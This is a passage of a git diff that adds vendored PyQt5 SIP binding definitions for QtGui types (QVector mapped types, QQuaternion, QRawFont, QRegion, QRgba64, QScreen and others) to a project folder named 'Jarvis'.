(PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "the second element has type '%s' but 'float' is expected", + sipPyTypeName(Py_TYPE(secondobj))); + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + *sipCppPtr = new QPair(first, second);; + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + + return sipGetState(sipTransferObj); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qvector.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qvector.sip new file mode 100644 index 00000000..2b77cb7d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpygui_qvector.sip @@ -0,0 +1,452 @@ +// This is the SIP interface definition for the QVector based mapped types +// specific to the QtGui module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QVector + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + // Convert to a Python long to make sure it doesn't get interpreted as + // a signed value. + PyObject *pobj = PyLong_FromUnsignedLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + unsigned long val = PyLong_AsUnsignedLongMask(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QVector + /TypeHintIn="Iterable[float]", TypeHintOut="List[float]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = PyFloat_FromDouble(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + double val = PyFloat_AsDouble(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (PyQt_qreal_double) + +%MappedType QVector + /TypeHintIn="Iterable[float]", TypeHintOut="List[float]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = PyFloat_FromDouble(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + double val = PyFloat_AsDouble(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + +%End + + +%If (PyQt_Desktop_OpenGL) + +%MappedType QVector + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + // Convert to a Python long to make sure it doesn't get interpreted as + // a signed value. + PyObject *pobj = PyLong_FromUnsignedLongLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + unsigned PY_LONG_LONG val = PyLong_AsUnsignedLongLongMask(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qquaternion.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qquaternion.sip new file mode 100644 index 00000000..f1c39cd7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qquaternion.sip @@ -0,0 +1,161 @@ +// qquaternion.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QQuaternion +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dddd", (double)sipCpp->scalar(), + (double)sipCpp->x(), (double)sipCpp->y(), (double)sipCpp->z()); +%End + +public: + QQuaternion(); + QQuaternion(float aScalar, float xpos, float ypos, float zpos); + QQuaternion(float aScalar, const QVector3D &aVector); + explicit QQuaternion(const QVector4D &aVector); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *scalar = PyFloat_FromDouble(sipCpp->scalar()); + PyObject *x = PyFloat_FromDouble(sipCpp->x()); + PyObject *y = PyFloat_FromDouble(sipCpp->y()); + PyObject *z = PyFloat_FromDouble(sipCpp->z()); + + if (scalar && x && y && z) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QQuaternion(%R, %R, %R, %R)", + scalar, x, y, z); + #else + sipRes = PyString_FromString("PyQt5.QtGui.QQuaternion("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(scalar)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(z)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(scalar); + Py_XDECREF(x); + Py_XDECREF(y); + Py_XDECREF(z); +%End + + float length() const; + float lengthSquared() const; + QQuaternion normalized() const; + void normalize(); + QVector3D rotatedVector(const QVector3D &vector) const; + static QQuaternion fromAxisAndAngle(const QVector3D &axis, float angle); + static QQuaternion fromAxisAndAngle(float x, float y, float z, float angle); + static QQuaternion slerp(const QQuaternion &q1, const QQuaternion &q2, float t); + static QQuaternion nlerp(const QQuaternion &q1, const QQuaternion &q2, float t); + bool isNull() const; + bool isIdentity() const; + float x() const; + float y() const; + float z() const; + float scalar() const; + void setX(float aX); + void setY(float aY); + void setZ(float aZ); + void setScalar(float aScalar); + QQuaternion conjugate() const; + QQuaternion &operator+=(const QQuaternion &quaternion); + QQuaternion &operator-=(const QQuaternion &quaternion); + QQuaternion &operator*=(float factor); + QQuaternion &operator*=(const QQuaternion &quaternion); + QQuaternion &operator/=(float divisor); + void setVector(const QVector3D &aVector); + QVector3D vector() const; + void setVector(float aX, float aY, float aZ); + QVector4D toVector4D() const; +%If (Qt_5_5_0 -) + void getAxisAndAngle(QVector3D *axis /Out/, float *angle) const; +%End +%If (Qt_5_5_0 -) + void getEulerAngles(float *pitch, float *yaw, float *roll) const; +%End +%If (Qt_5_5_0 -) + static QQuaternion fromEulerAngles(float pitch, float yaw, float roll); +%End +%If (Qt_5_5_0 -) + QMatrix3x3 toRotationMatrix() const; +%End +%If (Qt_5_5_0 -) + static QQuaternion fromRotationMatrix(const QMatrix3x3 &rot3x3); +%End +%If (Qt_5_5_0 -) + void getAxes(QVector3D *xAxis /Out/, QVector3D *yAxis /Out/, QVector3D *zAxis /Out/) const; +%End +%If (Qt_5_5_0 -) + static QQuaternion fromAxes(const QVector3D &xAxis, const QVector3D &yAxis, const QVector3D &zAxis); +%End +%If (Qt_5_5_0 -) + static QQuaternion fromDirection(const QVector3D &direction, const QVector3D &up); +%End +%If (Qt_5_5_0 -) + static QQuaternion rotationTo(const QVector3D &from, const QVector3D &to); +%End +%If (Qt_5_5_0 -) + static float dotProduct(const QQuaternion &q1, const QQuaternion &q2); +%End +%If (Qt_5_5_0 -) + QQuaternion inverted() const; +%End +%If (Qt_5_5_0 -) + QQuaternion conjugated() const; +%End +%If (Qt_5_5_0 -) + QVector3D toEulerAngles() const; +%End +%If (Qt_5_5_0 -) + static QQuaternion fromEulerAngles(const QVector3D &eulerAngles); +%End +}; + +const QQuaternion operator*(const QQuaternion &q1, const QQuaternion &q2); +bool operator==(const QQuaternion &q1, const QQuaternion &q2); +bool operator!=(const QQuaternion &q1, const QQuaternion &q2); +const QQuaternion operator+(const QQuaternion &q1, const QQuaternion &q2); +const QQuaternion operator-(const QQuaternion &q1, const QQuaternion &q2); +const QQuaternion operator*(float factor, const QQuaternion &quaternion); +const QQuaternion operator*(const QQuaternion &quaternion, float factor); +const QQuaternion operator-(const QQuaternion &quaternion); +const QQuaternion operator/(const QQuaternion &quaternion, float divisor); +bool qFuzzyCompare(const QQuaternion &q1, const QQuaternion &q2); +QDataStream &operator<<(QDataStream &, const QQuaternion & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QQuaternion & /Constrained/) /ReleaseGIL/; +%If (Qt_5_5_0 -) +QVector3D operator*(const QQuaternion &quaternion, const QVector3D &vec); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrasterwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrasterwindow.sip new file mode 100644 index 00000000..aec8dd1b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrasterwindow.sip @@ -0,0 +1,41 @@ +// qrasterwindow.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QRasterWindow : QPaintDeviceWindow +{ +%TypeHeaderCode +#include +%End + +public: + explicit QRasterWindow(QWindow *parent /TransferThis/ = 0); +%If (Qt_5_9_0 -) + virtual ~QRasterWindow(); +%End + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrawfont.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrawfont.sip new file mode 100644 index 00000000..b3467c2a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrawfont.sip @@ -0,0 +1,106 @@ +// qrawfont.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_RawFont) + +class QRawFont +{ +%TypeHeaderCode +#include +%End + +public: + enum AntialiasingType + { + PixelAntialiasing, + SubPixelAntialiasing, + }; + + QRawFont(); + QRawFont(const QString &fileName, qreal pixelSize, QFont::HintingPreference hintingPreference = QFont::PreferDefaultHinting); + QRawFont(const QByteArray &fontData, qreal pixelSize, QFont::HintingPreference hintingPreference = QFont::PreferDefaultHinting); + QRawFont(const QRawFont &other); + ~QRawFont(); + bool isValid() const; + bool operator==(const QRawFont &other) const; + bool operator!=(const QRawFont &other) const; + QString familyName() const; + QString styleName() const; + QFont::Style style() const; + int weight() const; + QVector glyphIndexesForString(const QString &text) const; + QVector advancesForGlyphIndexes(const QVector &glyphIndexes) const; +%If (Qt_5_1_0 -) + QVector advancesForGlyphIndexes(const QVector &glyphIndexes, QRawFont::LayoutFlags layoutFlags) const; +%End + QImage alphaMapForGlyph(quint32 glyphIndex, QRawFont::AntialiasingType antialiasingType = QRawFont::SubPixelAntialiasing, const QTransform &transform = QTransform()) const; + QPainterPath pathForGlyph(quint32 glyphIndex) const; + void setPixelSize(qreal pixelSize); + qreal pixelSize() const; + QFont::HintingPreference hintingPreference() const; + qreal ascent() const; + qreal descent() const; + qreal leading() const; + qreal xHeight() const; + qreal averageCharWidth() const; + qreal maxCharWidth() const; + qreal unitsPerEm() const; + void loadFromFile(const QString &fileName, qreal pixelSize, QFont::HintingPreference hintingPreference) /ReleaseGIL/; + void loadFromData(const QByteArray &fontData, qreal pixelSize, QFont::HintingPreference hintingPreference) /ReleaseGIL/; + bool supportsCharacter(uint ucs4) const; + bool supportsCharacter(QChar character) const; + QList supportedWritingSystems() const; + QByteArray fontTable(const char *tagName) const; + static QRawFont fromFont(const QFont &font, QFontDatabase::WritingSystem writingSystem = QFontDatabase::Any); + QRectF boundingRect(quint32 glyphIndex) const; + qreal lineThickness() const; + qreal underlinePosition() const; + void swap(QRawFont &other /Constrained/); +%If (Qt_5_1_0 -) + + enum LayoutFlag + { + SeparateAdvances, + KernedAdvances, + UseDesignMetrics, + }; + +%End +%If (Qt_5_1_0 -) + typedef QFlags LayoutFlags; +%End +%If (Qt_5_8_0 -) + qreal capHeight() const; +%End +%If (Qt_5_8_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +%End +%If (Qt_5_1_0 -) +QFlags operator|(QRawFont::LayoutFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qregion.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qregion.sip new file mode 100644 index 00000000..4152da96 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qregion.sip @@ -0,0 +1,148 @@ +// qregion.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRegion +{ +%TypeHeaderCode +#include +%End + +public: + enum RegionType + { + Rectangle, + Ellipse, + }; + + QRegion(); + QRegion(int x, int y, int w, int h, QRegion::RegionType type = QRegion::Rectangle); + QRegion(const QRect &r, QRegion::RegionType type = QRegion::Rectangle); + QRegion(const QPolygon &a, Qt::FillRule fillRule = Qt::OddEvenFill); + QRegion(const QBitmap &bitmap); + QRegion(const QRegion ®ion); + QRegion(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QRegion(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QRegion(); + bool isEmpty() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isEmpty(); +%End + + bool contains(const QPoint &p) const; + int __contains__(const QPoint &p) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + bool contains(const QRect &r) const; + int __contains__(const QRect &r) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + void translate(int dx, int dy); + void translate(const QPoint &p); + QRegion translated(int dx, int dy) const; + QRegion translated(const QPoint &p) const; + QRegion united(const QRegion &r) const; + QRegion united(const QRect &r) const; + QRect boundingRect() const; + QVector rects() const; +%If (Qt_5_4_0 -) + QRegion operator|(const QRegion &r) const; +%End + void setRects(const QVector &); +%MethodCode + if (a0->size()) + sipCpp->setRects(a0->data(), a0->size()); + else + sipCpp->setRects(0, 0); +%End + +%If (- Qt_5_4_0) + const QRegion operator|(const QRegion &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator+(const QRegion &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator+(const QRegion &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator+(const QRect &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator+(const QRect &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator&(const QRegion &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator&(const QRegion &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator&(const QRect &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator&(const QRect &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator-(const QRegion &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator-(const QRegion &r) const; +%End +%If (Qt_5_4_0 -) + QRegion operator^(const QRegion &r) const; +%End +%If (- Qt_5_4_0) + const QRegion operator^(const QRegion &r) const; +%End + QRegion &operator|=(const QRegion &r); + QRegion &operator+=(const QRegion &r); + QRegion &operator+=(const QRect &r); + QRegion &operator&=(const QRegion &r); + QRegion &operator&=(const QRect &r); + QRegion &operator-=(const QRegion &r); + QRegion &operator^=(const QRegion &r); + bool operator==(const QRegion &r) const; + bool operator!=(const QRegion &r) const; + QRegion intersected(const QRegion &r) const; + QRegion intersected(const QRect &r) const; + QRegion subtracted(const QRegion &r) const; + QRegion xored(const QRegion &r) const; + bool intersects(const QRegion &r) const; + bool intersects(const QRect &r) const; + int rectCount() const; + void swap(QRegion &other /Constrained/); + bool isNull() const; +}; + +QDataStream &operator<<(QDataStream &, const QRegion & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QRegion & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgb.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgb.sip new file mode 100644 index 00000000..194effce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgb.sip @@ -0,0 +1,42 @@ +// qrgb.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +typedef unsigned int QRgb; +int qRed(QRgb rgb); +int qGreen(QRgb rgb); +int qBlue(QRgb rgb); +int qAlpha(QRgb rgb); +QRgb qRgb(int r, int g, int b); +QRgb qRgba(int r, int g, int b, int a); +int qGray(int r, int g, int b); +int qGray(QRgb rgb); +bool qIsGray(QRgb rgb); +%If (Qt_5_3_0 -) +QRgb qPremultiply(QRgb x); +%End +%If (Qt_5_3_0 -) +QRgb qUnpremultiply(QRgb p); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgba64.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgba64.sip new file mode 100644 index 00000000..0e34dd9c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qrgba64.sip @@ -0,0 +1,90 @@ +// qrgba64.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_6_0 -) +%ModuleCode +#include +%End +%End + +%If (Qt_5_6_0 -) + +class QRgba64 +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_7_0 -) + QRgba64(); +%End + static QRgba64 fromRgba64(quint64 c); + static QRgba64 fromRgba64(quint16 red, quint16 green, quint16 blue, quint16 alpha); + static QRgba64 fromRgba(quint8 red, quint8 green, quint8 blue, quint8 alpha); + static QRgba64 fromArgb32(uint rgb); + bool isOpaque() const; + bool isTransparent() const; + quint16 red() const; + quint16 green() const; + quint16 blue() const; + quint16 alpha() const; + void setRed(quint16 _red); + void setGreen(quint16 _green); + void setBlue(quint16 _blue); + void setAlpha(quint16 _alpha); + quint8 red8() const; + quint8 green8() const; + quint8 blue8() const; + quint8 alpha8() const; + uint toArgb32() const; + ushort toRgb16() const; + QRgba64 premultiplied() const; + QRgba64 unpremultiplied() const; + operator quint64() const; +}; + +%End +%If (Qt_5_6_0 -) +QRgba64 qRgba64(quint16 r, quint16 g, quint16 b, quint16 a); +%End +%If (Qt_5_6_0 -) +QRgba64 qRgba64(quint64 c); +%End +%If (Qt_5_6_0 -) +QRgba64 qPremultiply(QRgba64 c); +%End +%If (Qt_5_6_0 -) +QRgba64 qUnpremultiply(QRgba64 c); +%End +%If (Qt_5_6_0 -) +uint qRed(QRgba64 rgb); +%End +%If (Qt_5_6_0 -) +uint qGreen(QRgba64 rgb); +%End +%If (Qt_5_6_0 -) +uint qBlue(QRgba64 rgb); +%End +%If (Qt_5_6_0 -) +uint qAlpha(QRgba64 rgb); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qscreen.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qscreen.sip new file mode 100644 index 00000000..8df13823 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qscreen.sip @@ -0,0 +1,96 @@ +// qscreen.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QScreen : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_4_0 -) + virtual ~QScreen(); +%End + QString name() const; + int depth() const; + QSize size() const; + QRect geometry() const; + QSizeF physicalSize() const; + qreal physicalDotsPerInchX() const; + qreal physicalDotsPerInchY() const; + qreal physicalDotsPerInch() const; + qreal logicalDotsPerInchX() const; + qreal logicalDotsPerInchY() const; + qreal logicalDotsPerInch() const; + QSize availableSize() const; + QRect availableGeometry() const; + QList virtualSiblings() const; + QSize virtualSize() const; + QRect virtualGeometry() const; + QSize availableVirtualSize() const; + QRect availableVirtualGeometry() const; +%If (Qt_5_2_0 -) + Qt::ScreenOrientation nativeOrientation() const; +%End + Qt::ScreenOrientation primaryOrientation() const; + Qt::ScreenOrientation orientation() const; + Qt::ScreenOrientations orientationUpdateMask() const; + void setOrientationUpdateMask(Qt::ScreenOrientations mask); + int angleBetween(Qt::ScreenOrientation a, Qt::ScreenOrientation b) const; + QTransform transformBetween(Qt::ScreenOrientation a, Qt::ScreenOrientation b, const QRect &target) const; + QRect mapBetween(Qt::ScreenOrientation a, Qt::ScreenOrientation b, const QRect &rect) const; + bool isPortrait(Qt::ScreenOrientation orientation) const; + bool isLandscape(Qt::ScreenOrientation orientation) const; + QPixmap grabWindow(WId window, int x = 0, int y = 0, int width = -1, int height = -1); + qreal refreshRate() const; + qreal devicePixelRatio() const; + +signals: + void geometryChanged(const QRect &geometry); + void physicalDotsPerInchChanged(qreal dpi); + void 